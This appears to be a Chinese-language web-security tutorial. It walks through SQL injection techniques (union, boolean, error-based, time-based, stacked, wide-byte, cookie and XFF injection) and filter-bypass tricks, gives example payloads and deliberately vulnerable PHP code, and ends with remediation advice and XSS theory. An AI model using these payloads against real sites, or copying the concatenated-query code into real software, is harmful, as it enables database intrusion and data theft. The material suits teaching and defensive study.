1. 程式人生 > 其它 >滲透測試——web安全

滲透測試——web安全

滲透測試之Web安全原理

Buchiyexiao

SQL注入

SQL注入原理

SQL注入漏洞需要滿足兩個條件:引數使用者可控,即前端傳給後端的引數內容是使用者可控的;引數代入資料庫進行查詢,傳入的引數拼接到SQL語句,且代入資料庫查詢

SQL注入語句

  • limit用法

    limit m,n其中m是指記錄開始的位置,從0開始記錄,表示第一條記錄;n是取n條記錄。例如limit 0,1就是從第一條記錄開始,取一條記錄

  • 需要記住的函式

    database()

    version()

    user()

Union注入攻擊

?id=1 order by x

?id=1 union select 1,2,3

?id=-1 union select 1,2,3 因為沒有-1的資料,則會返回union的資料

?id=1 union select 1,database(),3 得到database

?id=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='xxx' limit 0,1),3 返回資料庫的第一個表名,如果看第二個表名,則改為limit 1,1

?id=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='xxx' and table_name='xxxxxx' limit 0,1),3 獲取欄位名

?id=1 union select 1,(select email_id from sql.emails limit 0,1),3 檢視第一條資料

Union注入程式碼分析

<?php
	$con=mysqli_connect("localhost","root","root","test");
	if(mysqli_connect_error()){
        echo "連線失敗" .mysqli_connect_error();
    }
	$id = $_GET['id'];
	$result = mysqli_query($con,"select * from users where 'id' =".$id);
	$row = mysqli_fetch_array($result);
	echo $row['username']. ":" . $row[address];
	echo "<br>";
?>

Boolean注入攻擊

Boolean注入攻擊的特色就是返回的結果分別是yes和no,而沒有返回具體的資料,所以union注入無法使用,嘗試藉助Boolean注入,即構造SQL判斷語句,通過檢視返回結果判斷哪些SQL條件是成立的,以此獲取資料庫的資訊

?id=1' and length(database()) >=1 --+ 後面用註釋符來註釋掉單引號 經過測試得到資料庫的庫名長度為3

?id=1' and substr(database(),1,1)='t' --+ 擷取database()的值,第一個字元開始,每次返回一個,可以借用二分法進行操作,此時可以藉助burp對其進行爆破

也可以使用ascii碼進行測試,如:?id=1' and ord(substr(database,1,1)) >= 115 --+

然後繼續依次判斷,類似上面的Union攻擊

?id=1' and substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1)='e' --+

Boolean注入程式碼分析

<?php
	$con=mysqli_connect("localhost","root","root","test");
	if(mysqli_connect_error()){
        echo "連線失敗" .mysqli_connect_error();
    }
	$id = $_GET['id'];
	if(preg_match("/union|sleep|benchmark/i",$id)){
        exit("no");
    }
	$result = mysqli_query($con,"select * from users where 'id' ='".$id."'");
	$row = mysqli_fetch_array($result);
	if($row){
        exit("yes");
    }else{
        exit("no");
    }
?>

報錯注入攻擊

輸入了單引號之後直接將錯誤資訊輸出到了介面上,下面利用updatexml()演示SQL語句獲取user()的值

?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+ 其中0x7e是ASCII編碼,解碼結果為~

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1) --+ 獲得資料庫的庫名

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1),0x7e),1) --+ 獲取表名

extractvalue()函式,從目標xml中返回包含所查詢值的字串

第一個引數:XML_document是String格式,為XML文件物件的名稱,文中為doc

第二個引數:XPath_string(Xpath格式的字串)

Xpath定位必須是有效的,否則則會發生錯誤

用法其實跟updatexml一樣

用字元型注入測試一下

xxx' and extractvalue(1,concat(0x7e,database())) #

floor 取整函式

xxx' and (select 2 from (select count(),concat(version(),floor(rand(0)2)) x from information_schema.tables group by x) a)#

報錯注入原始碼分析

<?php
	$con=mysqli_connect("localhost","root","root","test");
	if(mysqli_connect_error()){
        echo "連線失敗" .mysqli_connect_error();
    }
	$username = $_GET['username'];
	if($result = mysqli_query($con,"select * from users where 'username' ='".$username."'")){
        echo("ok");
    }else{
        echo mysqli_error($con);
    }
?>

SQL注入進階

時間注入攻擊

時間注入的頁面和Boolean注入非常相似,但是可以採用另外一種方法——時間盲注,即借用sleep()或benchmark()等函式讓mysql的執行時間變長,時間盲注常常搭配if(expr1,expr2,expr3)搭配使用,語義為如果expr1為true則返回expr2,否則返回expr3。因此可以構造判斷資料庫庫名長度的語句為:

?id=1' and if(length(databese())>1,sleep(5),1) --+

可以藉助burp右下角的響應時間進行判斷

?id=1' and if(substr(database(),1,1)='s',sleep(5),1) --+

時間注入程式碼分析

<?php
	$con=mysqli_connect("localhost","root","root","test");
	if(mysqli_connect_error()){
        echo "連線失敗" .mysqli_connect_error();
    }
	$id = $_GET['id'];
	if(preg_match("/union/i",$id)){
        exit("<html><body>no</body></html>");
    }
	$result = mysqli_query($con,"select * from where 'id' ='".$id."'");
	$row = mysqli_fetch_array($result);
	if($row){
        exit("<html><body>yes</body></html>");
    }else{
        exit("<html><body>no</body></html>");
    }
?>

仍然可以使用Boolean盲注,訪問id=1' and if(ord(substring(user(),1,1))=114,sleep(5),1)%23,執行的SQL語句為select * from users where 'id' = '1' and if(ord(substring(user(),1,1))=114,sleep(5),1)#'

堆疊查詢注入攻擊

堆疊查詢可以執行多條語句,用分號隔開語句,利用該特點,在第二個SQL語句中構造自己想要執行的語句

?id=1';select if(substr(user(),1,1)='r',sleep(3),1)%23

堆疊查詢注入程式碼分析

在堆疊注入頁面中,程式獲取GET引數ID,使用PDO的方式進行資料查詢,但是仍然將引數ID進行拼接,導致PDO沒有起到預編譯的效果,程式仍然存在漏洞

二次注入攻擊

在第一個介面輸入SQL語句,在響應介面找到對應的ID,訪問對應id介面發生報錯顯示

二次注入攻擊程式碼分析

輸入sql語句的頁面進行addslashes將GET引數轉義,同時做了MD5雜湊。在對應介面獲取id的頁面將GETE引數ID轉換為int拼接到SQL中進行資料庫查詢,因此存在SQL注入

寬位元組注入

當輸入id=1'的時候,返回報錯顯示 id=1\',將單引號進行轉義,即不好繞出SQL注入漏洞,但是存在特例,即當資料庫的編碼為GBK的時候,使用寬位元組注入,即在地址後加%df再加’,因為反斜槓的編碼是%5c,而在GBK編碼中,%df%5c是繁體字連,這時候單引號就可以實現逃逸

id=1%df'+and1=1%23後續和正常注入類似

寬位元組注入程式碼分析

在寬位元組注入介面中程式獲得GET引數ID,並且對ID使用addslashes()轉義,然後拼接到SQL進行查詢,一般情況無法查詢,但是當使用set names 'GBK'時,將編碼設定為GBK編碼的情況下,就存在寬位元組注入。在PHP中,通過iconv()進行編碼轉換時,也存在著寬位元組注入漏洞

Cookie注入

在URL中沒有GET和POST引數,但是頁面返回的時候發現在burp抓包可以在cookie找到id引數,在cookie中進行注入操作

Cookie注入程式碼分析

藉助$_COOKIE獲取cookie資料

base64攻擊

傳入的ID引數經過base64編碼,利用base64_decode()對引數進行解碼,然後直接將解碼後的$id與select語句進行拼接,通過while迴圈進行輸出,因為沒有過濾解碼後的id,所以可以將id拼接成SQL語句進行注入

XFF注入攻擊

XFF即為X-Forward-For,代表客戶端的真實IP,通過修改XFF可以偽造客戶端的IP,將XFF設定為127.0.0.1' 對頁面訪問,返回Mysql的報錯資訊

然後將XFF設定為127.0.0.1' + and + 1 = 1 #實現注入攻擊

SQL注入繞過技術

大小寫繞過技術

使用大小寫切換進行繞過,也可以藉助sqlmap中的randomcase外掛進行繞過

雙寫繞過技術

單詞被過濾,但是隻是過濾一次,因此藉助雙寫關鍵詞或者疊加關鍵詞進行繞過技術

編碼繞過技術

對關鍵字使用兩次URL全編碼,因為伺服器會自動對URL進行一次URL解碼

內聯註釋繞過技術

id=1 /*! and */ 1=1 id=1 /*! and */ 1=2

SQL注入修復建議

  • 過濾危險字元

    採用正則表示式匹配關鍵字

  • 使用預編譯豫劇

    使用PDO預編譯語句,不直接將變數拼接,而是使用佔位符進行資料庫的相關操作

XSS基礎

XSS漏洞原理

  • 反射性XSS

    反射性XSS又稱為非永續性XSS,一次性

  • 儲存型XSS

    永久的存放在目標伺服器的資料庫或者檔案中,一般常見於論壇的帖子或者發帖的檔案中,常隨著帖子被伺服器儲存下來

  • DOM型XSS

    DOM其實是一種特殊型別的反射型XSS,基於DOM文件物件模型的一種漏洞

    DOM攻擊方式為使用者請求一個經過專門設計的URL,伺服器的響應不會以任何形式包含攻擊者的指令碼,當用戶的瀏覽器處理這個響應時,DOM物件就會處理XSS程式碼,導致存在XSS漏洞